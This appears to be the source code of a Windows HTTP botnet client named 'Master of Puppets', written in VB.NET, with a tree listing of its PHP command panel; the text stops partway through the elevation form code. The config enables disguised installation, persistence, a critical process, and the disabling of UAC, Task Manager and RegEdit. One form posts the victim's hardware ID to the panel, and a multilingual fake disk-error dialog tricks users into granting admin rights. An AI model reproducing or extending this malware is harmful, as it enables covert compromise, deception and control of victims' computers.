├── MoP.sln ├── MoP ├── .vs │ └── MoP │ │ └── v14 │ │ └── .suo ├── Config.vb ├── Forms │ ├── AdBox.Designer.vb │ ├── AdBox.resx │ ├── AdBox.vb │ ├── Button.vb │ ├── Elevation.Designer.vb │ ├── Elevation.resx │ ├── Elevation.vb │ ├── Startup.Designer.vb │ ├── Startup.resx │ └── Startup.vb ├── Main.vb ├── MoP.vbproj ├── MoP.vbproj.user ├── My Project │ ├── Application.Designer.vb │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Resources.Designer.vb │ ├── Resources.resx │ ├── Settings.Designer.vb │ └── Settings.settings ├── Resources │ └── information.png └── app.config ├── Panel ├── config.php ├── css │ ├── .DS_Store │ ├── bootstrap-editable.css │ ├── fullcalendar.css │ ├── index.html │ ├── main.css │ ├── main.scss │ ├── morris.css │ ├── nvd-charts.css │ ├── select2.css │ ├── style.css │ ├── timepicker.css │ └── wysiwyg │ │ ├── bootstrap-wysihtml5.css │ │ ├── index.html │ │ └── wysiwyg-color.css ├── files │ └── index.html ├── gate.php ├── icomoon │ ├── fonts │ │ ├── icomoon.dev.svg │ │ ├── icomoon.eot │ │ ├── icomoon.svg │ │ ├── icomoon.ttf │ │ ├── icomoon.woff │ │ └── index.html │ ├── index.html │ ├── license.txt │ ├── lte-ie7.js │ └── style.css ├── img │ ├── .DS_Store │ ├── alpha.png │ ├── avatar-1.png │ ├── avatar-2.png │ ├── avatar-3.png │ ├── avatar-4.png │ ├── avatar-5.png │ ├── avatar-6.png │ ├── avatar-7.png │ ├── avatar-8.png │ ├── brillant.png │ ├── clear.png │ ├── glyphicons-halflings-white.png │ ├── glyphicons-halflings.png │ ├── gray_jean.png │ ├── hue.png │ ├── index.html │ ├── loading-black.gif │ ├── loading-blue.gif │ ├── loading-green.gif │ ├── loading-orange.gif │ ├── loading-red.gif │ ├── loading.gif │ ├── logo-blue.png │ ├── logo.png │ ├── menu-arrow.png │ ├── saturation.png │ ├── select2.png │ ├── social_icons.png │ ├── sorting.png │ ├── sorting_asc.png │ ├── sorting_desc.png │ ├── subtle_white_feathers.png │ ├── task-l-arrow.png │ ├── task-r-arrow.png │ ├── task-r-arrow.png.png │ ├── ui-icons_3d80b3_256x240.png │ └── wild_oliva.png ├── includes │ ├── .htaccess │ ├── index.html │ ├── js │ │ ├── .DS_Store │ │ ├── bootstrap-editable.min.js │ │ ├── bootstrap-timepicker.js │ │ ├── bootstrap.js │ │ ├── custom-forms.js │ │ ├── custom-graphs.js │ │ ├── custom-index.js │ │ ├── custom-tables.js │ │ ├── custom.js │ │ ├── date-picker │ │ │ ├── date.js │ │ │ ├── daterangepicker.js │ │ │ └── index.html │ │ ├── flot │ │ │ ├── .DS_Store │ │ │ ├── index.html │ │ │ ├── jquery.flot.js │ │ │ ├── jquery.flot.resize.min.js │ │ │ └── jquery.flot.selection.js │ │ ├── fullcalendar.js │ │ ├── html5-trunk.js │ │ ├── index.html │ │ ├── jquery-ui-1.8.23.custom.min.js │ │ ├── jquery.dataTables.js │ │ ├── jquery.min.js │ │ ├── jquery.sparkline.js │ │ ├── moment.js │ │ ├── morris │ │ │ ├── index.html │ │ │ ├── morris.js │ │ │ └── raphael-min.js │ │ ├── nvd │ │ │ ├── .DS_Store │ │ │ ├── axis.js │ │ │ ├── d3.v2.js │ │ │ ├── index.html │ │ │ ├── legend.js │ │ │ ├── line.js │ │ │ ├── lineWithFocusChart.js │ │ │ ├── nv.d3.js │ │ │ ├── scatter.js │ │ │ ├── stream_layers.js │ │ │ ├── tooltip.js │ │ │ └── utils.js │ │ ├── select2.js │ │ ├── tiny-scrollbar.js │ │ └── wysiwyg │ │ │ ├── bootstrap-wysihtml5.js │ │ │ ├── index.html │ │ │ ├── locales │ │ │ ├── bootstrap-wysihtml5.ar-AR.js │ │ │ ├── bootstrap-wysihtml5.bg-BG.js │ │ │ ├── bootstrap-wysihtml5.ca-CT.js │ │ │ ├── bootstrap-wysihtml5.cs-CZ.js │ │ │ ├── bootstrap-wysihtml5.de-DE.js │ │ │ ├── bootstrap-wysihtml5.el-GR.js │ │ │ ├── bootstrap-wysihtml5.es-AR.js │ │ │ ├── bootstrap-wysihtml5.es-ES.js │ │ │ ├── bootstrap-wysihtml5.fr-FR.js │ │ │ ├── bootstrap-wysihtml5.hr-HR.js │ │ │ ├── bootstrap-wysihtml5.it-IT.js │ │ │ ├── bootstrap-wysihtml5.ja-JP.js │ │ │ ├── bootstrap-wysihtml5.ko-KR.js │ │ │ ├── bootstrap-wysihtml5.lt-LT.js │ │ │ ├── bootstrap-wysihtml5.mo-MD.js │ │ │ ├── bootstrap-wysihtml5.nb-NB.js │ │ │ ├── bootstrap-wysihtml5.nl-NL.js │ │ │ ├── bootstrap-wysihtml5.pl-PL.js │ │ │ ├── bootstrap-wysihtml5.pt-BR.js │ │ │ ├── bootstrap-wysihtml5.ru-RU.js │ │ │ ├── bootstrap-wysihtml5.sk-SK.js │ │ │ ├── bootstrap-wysihtml5.sv-SE.js │ │ │ ├── bootstrap-wysihtml5.tr-TR.js │ │ │ ├── bootstrap-wysihtml5.ua-UA.js │ │ │ ├── bootstrap-wysihtml5.zh-CN.js │ │ │ ├── bootstrap-wysihtml5.zh-TW.js │ │ │ └── index.html │ │ │ └── wysihtml5-0.3.0.js │ ├── libraries │ │ ├── index.html │ │ └── password_compatibility_library.php │ ├── login.php │ └── panel.php ├── index.php └── login.php └── ReadMe.txt /MoP.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.22823.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "MoP", "MoP\MoP.vbproj", "{A1EC1CD4-A692-4A61-BB9D-4A9CBAE1D042}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {A1EC1CD4-A692-4A61-BB9D-4A9CBAE1D042}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {A1EC1CD4-A692-4A61-BB9D-4A9CBAE1D042}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {A1EC1CD4-A692-4A61-BB9D-4A9CBAE1D042}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {A1EC1CD4-A692-4A61-BB9D-4A9CBAE1D042}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /MoP/.vs/MoP/v14/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/MoP/.vs/MoP/v14/.suo -------------------------------------------------------------------------------- /MoP/Config.vb: -------------------------------------------------------------------------------- 1 | 'To encode Settings use Main.Decrypt("BASE64_HERE") 2 | 'True = Yes 3 | 'False = No 4 | Public Class Config 5 | Public Panel As String = "http://localhost/" 'Address of the Panel 6 | Public Install As Boolean = True 'True = Install False = Don't Install 7 | Public Persistence As Boolean = True 'True = Persistent False = Basic (must install) 8 | Public InstallName As String = "AdobePS" 'What to install it as 9 | Public ElevateRights As Boolean = True 'If true will atempt to SE the user to give admin rights 10 | Public ElevateWaitTime As String = "30" 'Seconds after starting to Wait to try and get Admin 11 | Public MakeCritical As Boolean = True 'If gets admin will make the prosses critical, making it harder to kill 12 | Public DisableUAC As Boolean = True 'If its able to get Admin it will disable UAC 13 | Public DisableTaskMGR As Boolean = True 'If its able to get Admin it will disable TaskMgr 14 | Public DisableRegEdit As Boolean = True 'If its able to get Admin it will disable RegEdit 15 | Public Mutex As String = "e5c6e3b6a6b6" 'Used to detect if its already running (also works as bot version control, Make sure tohave the Mutex in the panels database) 16 | Public UserAgent As String = "Master of Puppets Client" 'UserAgent to connect to Panel (Must be same as panels!) 17 | End Class 18 | -------------------------------------------------------------------------------- /MoP/Forms/AdBox.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class AdBox 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container() 26 | Me.AdBlock = New System.Windows.Forms.PictureBox() 27 | Me.WaitTimer = New System.Windows.Forms.Timer(Me.components) 28 | CType(Me.AdBlock, System.ComponentModel.ISupportInitialize).BeginInit() 29 | Me.SuspendLayout() 30 | ' 31 | 'AdBlock 32 | ' 33 | Me.AdBlock.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch 34 | Me.AdBlock.Cursor = System.Windows.Forms.Cursors.Hand 35 | Me.AdBlock.Dock = System.Windows.Forms.DockStyle.Fill 36 | Me.AdBlock.Location = New System.Drawing.Point(0, 0) 37 | Me.AdBlock.Name = "AdBlock" 38 | Me.AdBlock.Size = New System.Drawing.Size(334, 111) 39 | Me.AdBlock.TabIndex = 0 40 | Me.AdBlock.TabStop = False 41 | ' 42 | 'WaitTimer 43 | ' 44 | ' 45 | 'AdBox 46 | ' 47 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 48 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 49 | Me.ClientSize = New System.Drawing.Size(334, 111) 50 | Me.ControlBox = False 51 | Me.Controls.Add(Me.AdBlock) 52 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None 53 | Me.MaximizeBox = False 54 | Me.MinimizeBox = False 55 | Me.Name = "AdBox" 56 | Me.ShowIcon = False 57 | Me.ShowInTaskbar = False 58 | Me.Text = "Advertisment" 59 | Me.TopMost = True 60 | CType(Me.AdBlock, System.ComponentModel.ISupportInitialize).EndInit() 61 | Me.ResumeLayout(False) 62 | 63 | End Sub 64 | 65 | Friend WithEvents AdBlock As Windows.Forms.PictureBox 66 | Friend WithEvents WaitTimer As Windows.Forms.Timer 67 | End Class 68 | -------------------------------------------------------------------------------- /MoP/Forms/AdBox.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | -------------------------------------------------------------------------------- /MoP/Forms/AdBox.vb: -------------------------------------------------------------------------------- 1 | Imports System.IO 2 | Imports System.Net 3 | Imports System.Text 4 | 5 | Public Class AdBox 6 | Public AdPicture As String 7 | Public AdLink As String 8 | Public UseAdDB As Boolean = False 9 | Public RepeatAd As Boolean = True 10 | Public ShowEvery As Integer = 30 11 | Dim Main As Main 12 | 'Me.Location = New Point(Screen.PrimaryScreen.WorkingArea.Width - Me.Width, Screen.PrimaryScreen.WorkingArea.Height - Me.Height) 13 | Private Sub AdBox_Load(sender As Object, e As EventArgs) Handles MyBase.Load 14 | Me.Hide() 15 | If RepeatAd Then : WaitTimer.Interval = ShowEvery * 1000 : WaitTimer.Start() : End If 16 | End Sub 17 | 18 | Private Sub AdBlock_Click(sender As Object, e As EventArgs) Handles AdBlock.Click 19 | 'Process.Start(AdLink) 20 | 'Main.HTTPRequstWorker("1" & "?HWID=" & Main.GetHWID() & "?CMD=AD?STATE=Opened") 21 | 'Me.Close() 22 | End Sub 23 | 24 | Private Sub WaitTimer_Tick(sender As Object, e As EventArgs) Handles WaitTimer.Tick 25 | 26 | End Sub 27 | 28 | Private Sub GetAds() 29 | HTTPRequstWorker("1" & "?HWID==" & Main.GetHWID() & "?CMD=CPA?STATE=Good") 30 | End Sub 31 | 32 | Public Function HTTPRequstWorker(Data As String) As String 33 | Try 34 | Dim result As String = Nothing 35 | Dim param As Byte() = Encoding.UTF8.GetBytes(Data) 36 | Dim req As WebRequest = WebRequest.Create(Main.GetPanel) 37 | req.Method = "POST" 38 | DirectCast(req, HttpWebRequest).UserAgent = Main.GetUserAgent() 39 | req.ContentType = "application/x-www-form-urlencoded" 40 | req.ContentLength = param.Length 41 | Dim st As Stream = req.GetRequestStream() 42 | st.Write(param, 0, param.Length) 43 | st.Close() 44 | st.Dispose() 45 | Dim resp As WebResponse = req.GetResponse() 46 | Dim sr As New StreamReader(resp.GetResponseStream()) 47 | result = sr.ReadToEnd() 48 | sr.Close() 49 | sr.Dispose() 50 | resp.Close() 51 | Return result 52 | Catch 53 | Return "bad" 54 | End Try 55 | End Function 56 | End Class -------------------------------------------------------------------------------- /MoP/Forms/Button.vb: -------------------------------------------------------------------------------- 1 | Imports System.Windows.Forms 2 | 3 | Public Class CommandButton 4 | Inherits Button 5 | Public Sub New() 6 | FlatStyle = FlatStyle.System 7 | End Sub 8 | 9 | Protected Overrides ReadOnly Property CreateParams() As CreateParams 10 | Get 11 | Dim cParams As CreateParams = MyBase.CreateParams 12 | If Environment.OSVersion.Version.Major >= 6 Then 13 | cParams.Style = cParams.Style Or 14 14 | End If 15 | Return cParams 16 | End Get 17 | End Property 18 | End Class 19 | -------------------------------------------------------------------------------- /MoP/Forms/Elevation.Designer.vb: -------------------------------------------------------------------------------- 1 |  2 | 3 | Partial Class ElevationFrm 4 | Inherits System.Windows.Forms.Form 5 | 6 | 'Form overrides dispose to clean up the component list. 7 | 8 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 9 | Try 10 | If disposing AndAlso components IsNot Nothing Then 11 | components.Dispose() 12 | End If 13 | Finally 14 | MyBase.Dispose(disposing) 15 | End Try 16 | End Sub 17 | 18 | 'Required by the Windows Form Designer 19 | Private components As System.ComponentModel.IContainer 20 | 21 | 'NOTE: The following procedure is required by the Windows Form Designer 22 | 'It can be modified using the Windows Form Designer. 23 | 'Do not modify it using the code editor. 24 | 25 | Private Sub InitializeComponent() 26 | Me.lblText = New System.Windows.Forms.Label() 27 | Me.lblHead = New System.Windows.Forms.Label() 28 | Me.panelBot = New System.Windows.Forms.Panel() 29 | Me.linkError = New System.Windows.Forms.LinkLabel() 30 | Me.btnRestore = New CommandButton() 31 | Me.btnRestoreAndCheck = New CommandButton() 32 | Me.picError = New System.Windows.Forms.PictureBox() 33 | Me.picInfo = New System.Windows.Forms.PictureBox() 34 | Me.panelBot.SuspendLayout() 35 | CType(Me.picError, System.ComponentModel.ISupportInitialize).BeginInit() 36 | CType(Me.picInfo, System.ComponentModel.ISupportInitialize).BeginInit() 37 | Me.SuspendLayout() 38 | ' 39 | 'lblText 40 | ' 41 | Me.lblText.AutoSize = True 42 | Me.lblText.Location = New System.Drawing.Point(61, 42) 43 | Me.lblText.Name = "lblText" 44 | Me.lblText.Size = New System.Drawing.Size(47, 13) 45 | Me.lblText.TabIndex = 9 46 | Me.lblText.Text = "%TEXT%" 47 | ' 48 | 'lblHead 49 | ' 50 | Me.lblHead.AutoSize = True 51 | Me.lblHead.Font = New System.Drawing.Font("Segoe UI", 11.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 52 | Me.lblHead.ForeColor = System.Drawing.Color.MediumBlue 53 | Me.lblHead.Location = New System.Drawing.Point(60, 6) 54 | Me.lblHead.Name = "lblHead" 55 | Me.lblHead.Size = New System.Drawing.Size(79, 20) 56 | Me.lblHead.TabIndex = 6 57 | Me.lblHead.Text = "%ERROR%" 58 | ' 59 | 'panelBot 60 | ' 61 | Me.panelBot.BackColor = System.Drawing.Color.WhiteSmoke 62 | Me.panelBot.Controls.Add(Me.linkError) 63 | Me.panelBot.Controls.Add(Me.picInfo) 64 | Me.panelBot.Dock = System.Windows.Forms.DockStyle.Bottom 65 | Me.panelBot.Location = New System.Drawing.Point(0, 245) 66 | Me.panelBot.Name = "panelBot" 67 | Me.panelBot.Size = New System.Drawing.Size(542, 38) 68 | Me.panelBot.TabIndex = 8 69 | ' 70 | 'linkError 71 | ' 72 | Me.linkError.AutoSize = True 73 | Me.linkError.Location = New System.Drawing.Point(37, 11) 74 | Me.linkError.Name = "linkError" 75 | Me.linkError.Size = New System.Drawing.Size(87, 13) 76 | Me.linkError.TabIndex = 1 77 | Me.linkError.TabStop = True 78 | Me.linkError.Text = "%MOREDETAILS" 79 | ' 80 | 'btnRestore 81 | ' 82 | Me.btnRestore.FlatStyle = System.Windows.Forms.FlatStyle.System 83 | Me.btnRestore.Location = New System.Drawing.Point(12, 140) 84 | Me.btnRestore.Name = "btnRestore" 85 | Me.btnRestore.Size = New System.Drawing.Size(518, 42) 86 | Me.btnRestore.TabIndex = 10 87 | Me.btnRestore.Text = "CommandButton1" 88 | Me.btnRestore.UseVisualStyleBackColor = True 89 | ' 90 | 'btnRestoreAndCheck 91 | ' 92 | Me.btnRestoreAndCheck.FlatStyle = System.Windows.Forms.FlatStyle.System 93 | Me.btnRestoreAndCheck.Location = New System.Drawing.Point(12, 190) 94 | Me.btnRestoreAndCheck.Name = "btnRestoreAndCheck" 95 | Me.btnRestoreAndCheck.Size = New System.Drawing.Size(518, 42) 96 | Me.btnRestoreAndCheck.TabIndex = 1 97 | Me.btnRestoreAndCheck.Text = "CommandButton1" 98 | Me.btnRestoreAndCheck.UseVisualStyleBackColor = True 99 | ' 100 | 'picError 101 | ' 102 | Me.picError.Location = New System.Drawing.Point(12, 6) 103 | Me.picError.Name = "picError" 104 | Me.picError.Size = New System.Drawing.Size(42, 42) 105 | Me.picError.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize 106 | Me.picError.TabIndex = 7 107 | Me.picError.TabStop = False 108 | ' 109 | 'picInfo 110 | ' 111 | Me.picInfo.Image = Global.MoP.My.Resources.Resources.information 112 | Me.picInfo.Location = New System.Drawing.Point(12, 10) 113 | Me.picInfo.Name = "picInfo" 114 | Me.picInfo.Size = New System.Drawing.Size(16, 16) 115 | Me.picInfo.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize 116 | Me.picInfo.TabIndex = 0 117 | Me.picInfo.TabStop = False 118 | ' 119 | 'ElevationFrm 120 | ' 121 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 122 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 123 | Me.BackColor = System.Drawing.Color.White 124 | Me.ClientSize = New System.Drawing.Size(542, 283) 125 | Me.ControlBox = False 126 | Me.Controls.Add(Me.btnRestore) 127 | Me.Controls.Add(Me.btnRestoreAndCheck) 128 | Me.Controls.Add(Me.lblText) 129 | Me.Controls.Add(Me.picError) 130 | Me.Controls.Add(Me.lblHead) 131 | Me.Controls.Add(Me.panelBot) 132 | Me.Font = New System.Drawing.Font("Segoe UI", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 133 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog 134 | Me.MaximizeBox = False 135 | Me.MinimizeBox = False 136 | Me.Name = "ElevationFrm" 137 | Me.ShowIcon = False 138 | Me.ShowInTaskbar = False 139 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen 140 | Me.Text = "%TITLE%" 141 | Me.TopMost = True 142 | Me.panelBot.ResumeLayout(False) 143 | Me.panelBot.PerformLayout() 144 | CType(Me.picError, System.ComponentModel.ISupportInitialize).EndInit() 145 | CType(Me.picInfo, System.ComponentModel.ISupportInitialize).EndInit() 146 | Me.ResumeLayout(False) 147 | Me.PerformLayout() 148 | 149 | End Sub 150 | 151 | Private WithEvents lblText As Windows.Forms.Label 152 | Private WithEvents picError As Windows.Forms.PictureBox 153 | Private WithEvents lblHead As Windows.Forms.Label 154 | Private WithEvents panelBot As Windows.Forms.Panel 155 | Private WithEvents linkError As Windows.Forms.LinkLabel 156 | Private WithEvents picInfo As Windows.Forms.PictureBox 157 | Friend WithEvents btnRestoreAndCheck As CommandButton 158 | Friend WithEvents btnRestore As CommandButton 159 | End Class -------------------------------------------------------------------------------- /MoP/Forms/Elevation.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /MoP/Forms/Elevation.vb: -------------------------------------------------------------------------------- 1 | Imports System.Drawing 2 | Imports System.Windows.Forms 3 | 4 | Public Class ElevationFrm 5 | ' Inherits Form 6 | Dim rand As New Random 7 | 8 | Private Sub SetLanguage() 9 | Dim CountryCode As String = Globalization.RegionInfo.CurrentRegion.TwoLetterISORegionName 10 | 'string CountryCode = "ES"; 11 | Select Case CountryCode 12 | Case "PL" 13 | ' by navaro21 14 | Me.Text = "Krytyczny błąd dysku" 15 | lblHead.Text = "Plik lub lokalizacja została uszkodzona i jest niezdolna do odczytu." 16 | lblText.Text = "Zostało znalezionych wiele uszkodzonych plików w lokalizacji 'Moje Dokumenty'. Aby" & vbLf & "zapobiec poważnej utraty danych pozwól systemowi Windows odzyskać te pliki." & vbLf & vbLf & "Uszkodzona lokalizacja: " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Liczba uszkodzonych plików: " & rand.Next(4, 23) 17 | btnRestore.Text = "Odzyskaj pliki" 18 | btnRestoreAndCheck.Text = "Odzyskaj pliki i sprawdź dysk w poszukiwaniu błędów." 19 | linkError.Text = "Więcej szczegółów o tym błędzie" 20 | Exit Select 21 | Case "RU" 22 | ' by GameFire 23 | Me.Text = "Критическая ошибка диска" 24 | lblHead.Text = "Этот файл или каталог поврежден и нечитаемый" 25 | lblText.Text = "Несколько поврежденные файлы были найдены в каталоге 'Мои документы'. Для" & vbLf & "тогочтобы предотвратить потерю данных, пожалуйста позвольте Windows" & vbLf & "восстановить эти файлы." & vbLf & vbLf & "Поврежденный каталог: " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Количество поврежденных файлов: " & rand.Next(4, 23) 26 | btnRestore.Text = "Восстановление файлов" 27 | btnRestoreAndCheck.Text = "Восстановить файлы и проверять диск для ошибок" 28 | linkError.Text = "Подробнее об этой ошибке" 29 | Exit Select 30 | Case "FI" 31 | ' by Perfectionist & Qmz_ 32 | Me.Text = "Kriittinen levyvirhe" 33 | lblHead.Text = "Tiedosto tai hakemisto on vioittunut ja lukukelvoton" 34 | lblText.Text = "Useita vioittuineita tiedostoja on löytynyt kansiosta 'Omat tiedostot'. Ehkäistäksesi" & vbLf & "vakavan tietojen menetyksen, salli Windowsin palauttaa nämä tiedostot." & vbLf & vbLf & "Vioittunut kansio: " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Korruptoituneiden tiedostojen määrä: " & rand.Next(4, 23) 35 | btnRestore.Text = "Palauta tiedostot" 36 | btnRestoreAndCheck.Text = "Palauta tiedostot ja aloita virheiden etsiminen" 37 | linkError.Text = "Lisätietoja virheestä" 38 | Exit Select 39 | Case "NL" 40 | ' by DeadLine 41 | Me.Text = "Kritieke schrijffout" 42 | lblHead.Text = "Het bestand of pad is corrupt of onleesbaar" 43 | lblText.Text = "Meerdere corrupte bestanden zijn gevonden in het pad 'Mijn Documenten'. Gelieve de" & vbLf & "bestanden door Windows te laten herstellen om dataverlies te voorkomen." & vbLf & vbLf & "Corrupt pad: " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Aantal corrupte bestanden: " & rand.Next(4, 23) 44 | btnRestore.Text = "Herstel bestanden" 45 | btnRestoreAndCheck.Text = "Herstel bestanden en controleer op schijffouten" 46 | linkError.Text = "Meer informatie over deze fout" 47 | Exit Select 48 | Case "FR" 49 | ' by Increment 50 | Me.Text = "Erreur Critique du Disque " 51 | lblHead.Text = "Le fichier ou le dossier spécifié est corrompu" 52 | lblText.Text = "De nombreux fichiers corrompus ont été trouvés dans le dossier 'Mes Documents'. Pour" & vbLf & "éviter toute perte de donnée, veuillez autoriser Windows à restaurer vos fichiers et" & vbLf & "données." & vbLf & vbLf & "Dossier corrompu : " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Nombre de fichier(s) corrompu(s) : " & rand.Next(4, 23) 53 | btnRestore.Text = "Restaurer les fichiers" 54 | btnRestoreAndCheck.Text = "Restaurer les fichiers et vérifier des érreurs sur le disque " 55 | linkError.Text = "En savoir plus à propos de cette erreurs" 56 | Exit Select 57 | Case "ES" 58 | ' by Xenocode 59 | Me.Text = "Error critico del disco duro" 60 | lblHead.Text = "El archivo o directorio está dañado y no se puede leer" 61 | lblText.Text = "Algunos archivos dañados múltiples han sido encontrados en el directorio 'Mis Documentos'." & vbLf & "Para prevenir la pérdida grave de datos, permita por favor de Windows para recuperar" & vbLf & "estos archivos." & vbLf & vbLf & "Directorio dañado : " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Archivos corrupots : " & rand.Next(4, 23) 62 | btnRestore.Text = "Recuperar archivos" 63 | btnRestoreAndCheck.Text = "Reparar archivos y comprobar si hay errores en el disco dur" 64 | linkError.Text = "Detalles de Errores" 65 | Exit Select 66 | Case "DE" 67 | Me.Text = "Kritischer Festplatten Fehler" 68 | lblHead.Text = "Die Datei oder das Verzeichnis ist beschädigt und nicht lesbar" 69 | lblText.Text = "Es wurden mehrere beschädigte Dateien in dem Verzeichnis 'Meine Dokumente' gefunden." & vbLf & "Um einen ernsthaften Datenverlust zu vermeiden, erlauben Sie bitte Windows, die Dateien" & vbLf & "wiederherzustellen." & vbLf & vbLf & "Beschädigtes Verzeichnis: " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Anzahl der beschädigten Dateien: " & rand.Next(4, 23) 70 | btnRestore.Text = "Dateien wiederherstellen" 71 | btnRestoreAndCheck.Text = "Dateien wiederherstellen und Festplatte auf Fehler überprüfen" 72 | linkError.Text = "Mehr Informationen zu diesem Fehler" 73 | Exit Select 74 | Case "AR" 75 | ' By : DragonzMaster 76 | Me.Text = "خطأ حرج بالقرص" 77 | lblHead.Text = "الملف او المجلد معطوب ولا يمكن قرائته" 78 | lblText.Text = "تم إيجاد عدة ملفات معطوبة بالمجلد 'مستنداتى'. لمنع" & vbLf & "خسائر كبيرة بالبيانات, من فضلك إسمح لنظام التشغيل بإستعادة هذه الملفات." & vbLf & vbLf & "المجلد المعطوب: " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "عدد الملفات المعطوبة: 4" 79 | btnRestore.Text = "إستعادة الملفات" 80 | btnRestoreAndCheck.Text = "إستعادة الملفات و فحص القرص من الأخطاء" 81 | linkError.Text = "لتفاصيل أكثر حول هذا الخطأ" 82 | Me.RightToLeft = True 83 | Exit Select 84 | Case Else 85 | ' this includes GB, US and all other 86 | Me.Text = "Critical Disk Error" 87 | lblHead.Text = "The file or directory is corrupted and unreadable" 88 | lblText.Text = "Multiple corrupted files have been found in the directory 'My Documents'. To prevent" & vbLf & "serious loss of data, please allow Windows to restore these files." & vbLf & vbLf & "Corrupted directory: " & Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & vbLf & "Corrupted files count: " & rand.Next(4, 23) 89 | btnRestore.Text = "Restore files" 90 | btnRestoreAndCheck.Text = "Restore files and check disk for errors" 91 | linkError.Text = "More details about this error" 92 | Exit Select 93 | End Select 94 | End Sub 95 | 96 | Private Sub Elevation_Load(sender As Object, e As EventArgs) Handles MyBase.Load 97 | picError.Image = SystemIcons.[Error].ToBitmap() 98 | SetLanguage() 99 | End Sub 100 | 101 | Private Sub linkError_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles linkError.LinkClicked 102 | Process.Start("http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx") 103 | End Sub 104 | 105 | Private Sub ElevationFrm_Paint(sender As Object, e As PaintEventArgs) Handles Me.Paint 106 | e.Graphics.DrawLine(Pens.Gray, New Point(0, panelBot.Location.Y - 1), New Point(Me.Width, panelBot.Location.Y - 1)) 107 | End 